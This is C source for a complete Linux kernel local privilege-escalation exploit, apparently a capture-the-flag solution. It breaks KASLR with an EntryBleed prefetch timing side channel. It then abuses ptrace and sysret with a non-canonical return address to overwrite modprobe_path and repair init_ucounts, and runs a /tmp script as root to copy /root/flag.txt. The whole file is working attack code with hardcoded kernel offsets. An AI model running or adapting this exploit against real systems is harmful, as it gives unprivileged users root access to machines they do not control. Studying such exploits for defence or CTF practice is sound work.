// compiled with musl-gcc -static -o exploit ./exploit.c

#include <sys/syscall.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <sys/user.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>

// #define DEBUG

#define KERNEL_LOWER_BOUND 0xffffffff80000000ull
#define KERNEL_UPPER_BOUND 0xffffffffc0000000ull

#define STEP_KERNEL 0x100000ull
#define SCAN_START_KERNEL KERNEL_LOWER_BOUND
#define SCAN_END_KERNEL KERNEL_UPPER_BOUND
#define ARR_SIZE_KERNEL (SCAN_END_KERNEL - SCAN_START_KERNEL) / STEP_KERNEL

#define PHYS_LOWER_BOUND 0xffff888000000000ull
#define PHYS_UPPER_BOUND 0xfffffe0000000000ull

#define STEP_PHYS 0x40000000ull
#define SCAN_START_PHYS PHYS_LOWER_BOUND
#define SCAN_END_PHYS PHYS_UPPER_BOUND
#define ARR_SIZE_PHYS (SCAN_END_PHYS - SCAN_START_PHYS) / STEP_PHYS

#define DUMMY_ITERATIONS 5
#define ITERATIONS 100

uint64_t kaslr;
uint64_t phys;
uint64_t gsbase;

// https://www.willsroot.io/2022/12/entrybleed.html
uint64_t sidechannel(uint64_t addr) {
  uint64_t a, b, c, d;
  asm volatile (".intel_syntax noprefix;"
    "mfence;"
    "rdtscp;"
    "mov %0, rax;"
    "mov %1, rdx;"
    "xor rax, rax;"
    "lfence;"
    "prefetchnta qword ptr [%4];"
    "prefetcht2 qword ptr [%4];"
    "xor rax, rax;"
    "lfence;"
    "rdtscp;"
    "mov %2, rax;"
    "mov %3, rdx;"
    "mfence;"
    ".att_syntax;"
    : "=r" (a), "=r" (b), "=r" (c), "=r" (d)
    : "r" (addr)
    : "rax", "rbx", "rcx", "rdx");
  a = (b << 32) | a;
  c = (d << 32) | c;
  return c - a;
}

uint64_t prefetch(int phys)
{
    uint64_t arr_size = ARR_SIZE_KERNEL;
    uint64_t scan_start = SCAN_START_KERNEL;
    uint64_t step_size = STEP_KERNEL;
    if (phys) {
	    arr_size = ARR_SIZE_PHYS;
	    scan_start = SCAN_START_PHYS;
	    step_size = STEP_PHYS;
    }

    uint64_t *data = malloc(arr_size * sizeof(uint64_t));
    memset(data, 0, arr_size * sizeof(uint64_t));

    uint64_t min = ~0, addr = ~0;

    for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) {
        for (uint64_t idx = 0; idx < arr_size; idx++)
        {
            uint64_t test = scan_start + idx * step_size;
            syscall(104);
            uint64_t time = sidechannel(test);
            if (i >= DUMMY_ITERATIONS)
                data[idx] += time;
        }
    }

    for (int i = 0; i < arr_size; i++) {
        data[i] /= ITERATIONS;
        if (data[i] < min)
        {
            min = data[i];
            addr = scan_start + i * step_size;
        }
    }

    free(data);

    return addr;
}

// https://duasynt.com/blog/cve-2014-4699-linux-kernel-ptrace-sysret-analysis
void do_sysret(uint64_t addr, struct user_regs_struct *regs_arg) {
    struct user_regs_struct regs;
    int status;
    pid_t chld;

    memcpy(&regs, regs_arg, sizeof(regs));

    if ((chld = fork()) < 0) {
        perror("fork");
        exit(1);
    }

    if (chld == 0) {
        if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
            perror("PTRACE_TRACEME");
            exit(1);
        }

	asm volatile("wrgsbase %0" : : "r" (gsbase));

        raise(SIGSTOP);
        fork();
        return 0;
    }

    waitpid(chld, &status, 0);

    ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK);
    ptrace(PTRACE_CONT, chld, 0, 0);

    waitpid(chld, &status, 0);

    regs.rip = 0x8000000000000000; // not-canonical
    regs.rcx = 0x8000000000000000; // not-canonical
    regs.rsp = addr;

    // necessary stuff
    regs.eflags = 0x246;
    regs.r11 = 0x246;
    regs.ss = 0x2b;
    regs.cs = 0x33;

    // just needs to be bad (> TASK_MAX) so the value set by wrgsbase isn't overwritten
    regs.gs_base = -1;

    ptrace(PTRACE_SETREGS, chld, NULL, &regs);
    ptrace(PTRACE_CONT, chld, 0, 0);
    ptrace(PTRACE_DETACH, chld, 0, 0);
}

int main(int argc, char **argv) {
    struct user_regs_struct regs;

#ifndef DEBUG
    kaslr = prefetch(0) - 0xc00000;
    phys = prefetch(1) - 0x100000000;
#else
    kaslr = 0xffffffff81000000;
    phys = 0xffff888000000000;
#endif

    printf("KASLR base %lx\n", kaslr);
    printf("PHYS base %lx\n", phys);

    gsbase = phys + 0x13bc00000;
    printf("gsbase: %#lx\n", gsbase);

    // trigger file for modprobe
    system("echo -ne \"\xff\xff\xff\xff\" >> /tmp/bad");
    system("chmod 777 /tmp/bad");

    // called by modprobe
    system("echo -ne \"#!/bin/sh\ncp /root/flag.txt /tmp/heckyeah\nchown ctf:ctf /tmp/heckyeah\" > /tmp/a");
    system("chmod 777 /tmp/a");

    uint64_t modprobe_path = kaslr + 0x103b840;

    // fill registers with new modprobe path
    uint64_t new_modprobe = 0x0000612f706d742f; // /tmp/a
    for (int i = 0; i < sizeof(regs)/sizeof(new_modprobe); i++) {
	    ((uint64_t *)&regs)[i] = new_modprobe;
    }

    // position register dump over modprobe_path
    do_sysret(modprobe_path + 0xa8, &regs);

    // fixup corrupted init_ucounts
    regs.rbp = 0x0000002d00000000;
    regs.r12 = kaslr + 0x103a320;
    regs.r13 = kaslr + 0x1640160;
    regs.r14 = phys + 0x100049600;

    // position register dump over init_ucounts
    do_sysret(modprobe_path-0xd8, &regs);

    // trigger modprobe
    system("/tmp/bad");

    // get flag
    system("cat /tmp/heckyeah");
}